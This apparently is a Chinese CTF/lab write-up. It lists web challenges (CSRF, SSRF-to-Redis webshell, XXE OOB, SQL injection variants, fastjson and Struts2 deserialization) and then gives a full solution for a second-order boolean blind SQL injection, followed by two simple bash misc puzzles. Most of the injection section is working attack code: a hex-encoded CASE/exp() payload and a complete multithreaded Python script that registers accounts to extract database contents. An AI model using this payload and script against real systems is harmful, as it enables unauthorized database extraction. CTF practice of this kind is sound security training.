因为绝大部分非常简单,在我的公众号前期文章中就能找到答案,所以这里大部分题型都只给出题目,这些你会做还是不会做看题目基本就知道了。
CSRF之钓鱼修改管理员密码。
SSRF之dict协议操作redis写webshell。
XXE之java oob,excel xxe oob。
SQL注入之数字型,字符型,盲注,orderby注入,limit注入,宽字节注入,二次注入+报错注入,注入写webshell。
fastjson之1.2.24反序列化。
struts2之S2-052
ghostscript之CVE-2018-19475。
这其中唯一有点难度的是二次注入+布尔盲注。
一、二次注入+布尔盲注
首先它是个二次注入,注入点在注册用户的年龄选项中,如果你注册一个用户比如admin/18,登录之后会显示,登录成功,存在1个和你同龄的人(即你自己)。
再注册一个test/18,登录之后会显示,登录成功,存在2个和你同龄的人(admin和test)。
这个注入点还做过处理,只能通过hex注入,比如注册一个qqq/123'用户不行的。可以注册一个qqq/0x313827616E6420313D2731,登录之后会显示,登录成功,存在3个和你同龄的人。
因为0x313827616E6420313D2731即18'and 1='1。
如果注册www/0x313827(即18')用户会怎么样呢?依旧注册成功,但登录时会提示,错误。但没有mysql的报错信息。
也就是说,这是一个二次注入+布尔盲注的点,需要注册非常多的账号去爆破。而且与之前可以靠burp,sqlmap,手工注入不同,这一题必须要自写注入脚本才行,对于不常写SQL注入脚本的人来说,这关的难度非常大。
我们先要构造出一个可以判断user()的布尔盲注语句。
'and (case when ascii(substr((select flag from lession11.flag limit 0,1),1,1)) > 49 then 666 else exp(99999999) end)='1
hex后如下。
0x27616e64202863617365207768656e20617363696928737562737472282873656c65637420666c61672066726f6d206c657373696f6e31312e666c6167206c696d697420302c31292c312c312929203e203439207468656e2036363620656c7365206578702839393939393939392920656e64293d2731
然后写出盲注脚本,这里我是改的几年前我刚学python时写的脚本。
#coding=UTF-8
import requests
import threading
import binascii
url = 'http://2.2.2.2:57747/sqli11.php'
header = {"User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Connection": "keep-alive"
}
cookie = {"PHPSESSID":"djlqt7gufke48ivqpeskh6gso5"}
payload = 'select flag from lession11.flag limit 0,1'
flag = 0
user = 'sonomon'
userp = 0
def char2hex(data):
data = data.encode()
output = binascii.hexlify(data)
output = output.decode()
return output
def boolsql(users):
data = {"username":users,"passwd":users,"realname":"","age":""}
r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False)
if '登录成功' in r.text:
return 1
else:
return 0
def sql(i,s):
global userp
userp = userp+1
users = user+str(userp)
hexpayload1 = "'and (case when ascii(substr(length(("+payload+")),"+str(i)+",1)) > "+str(s)+" then 666 else exp(99999999) end)='1"
hexpayload2 = "'and (case when ascii(substr(("+payload+"),"+str(i)+",1)) > "+str(s)+" then 666 else exp(99999999) end)='1"
hexpayload3 = "0x"+char2hex(hexpayload1)
hexpayload4 = "0x"+char2hex(hexpayload2)
if flag == 0:
data = {"age":hexpayload3,"username":users,"passwd":users,"realname":users}
else:
data = {"age":hexpayload4,"username":users,"passwd":users,"realname":users}
r = requests.post(url,cookies=cookie,data=data,headers=header,allow_redirects=False)
return boolsql(users)
ss = {}
def search(a,b,i):
global ss
c = int((a+b)/2)
text = sql(i,c)
if (b-a) == 1 :
ss[i]=chr(b)
else:
if text == 0 :
a = a
b = c
search(a,b,i)
else:
a = c
b = b
search(a,b,i)
def thread(size):
name = []
threads = 5
for ii in range(0,int(size/threads)+1):
for i in range(ii*threads+1,ii*threads+1+threads):
if i > size:
break
th = threading.Thread(target=search, args=(31,127,i))
name.append(th)
th.start()
for th in name:
th.join()
ssl = ''
sss = ''
size = 5
def length():
global ssl
global sss
global flag
global size
if flag == 0 :
thread(size)
for i in sorted(ss):
ssl += ss[i]
size = int(ssl.replace(chr(32),''))
print('length : '+ssl.replace(chr(32),''))
flag = 1
length()
else:
thread(size)
for i in sorted(ss):
sss += ss[i]
print(sss)
length()
最终效果如下。
二、Linux基础-bash第一题
还有两题比较有意思也比较简单的misc题。
提示如下。
下一关的解压密码保存在password目录下的某个文件中,而且据说密码中只包含了1个数字。
ls一下。
是一些linux命令行使用了的符号当作了文件名,其中其他都可以加上单引号或者双引号cat出来,只有-这个不行,不过可以cp。
三、Linux基础-bash第二题
存在一个flag.gz,解压后变成bzip,再解压还是bzip,需要不断解压多次,每次随机为两种压缩格式。就是一个套娃压缩文件,需要写bash脚本来进行解压。
str=`file flag`
bzip="bzip"
gzip="gzip"
if [[ "$str" =~ $bzip ]]
then
echo "$str"
`mv flag flag.bz2`
`bunzip2 flag.bz2`
elif [[ "$str" =~ $gzip ]]
then
echo "$str"
`mv flag flag.gz`
`gunzip flag.gz`
else
echo "aaa"
fi
sh 1.sh如果报错运行dpkg-reconfigure dash,选no
最后手动for循环一下for i in {1..300};do sh 1.sh;done
全部都是aaa之后获取正确flag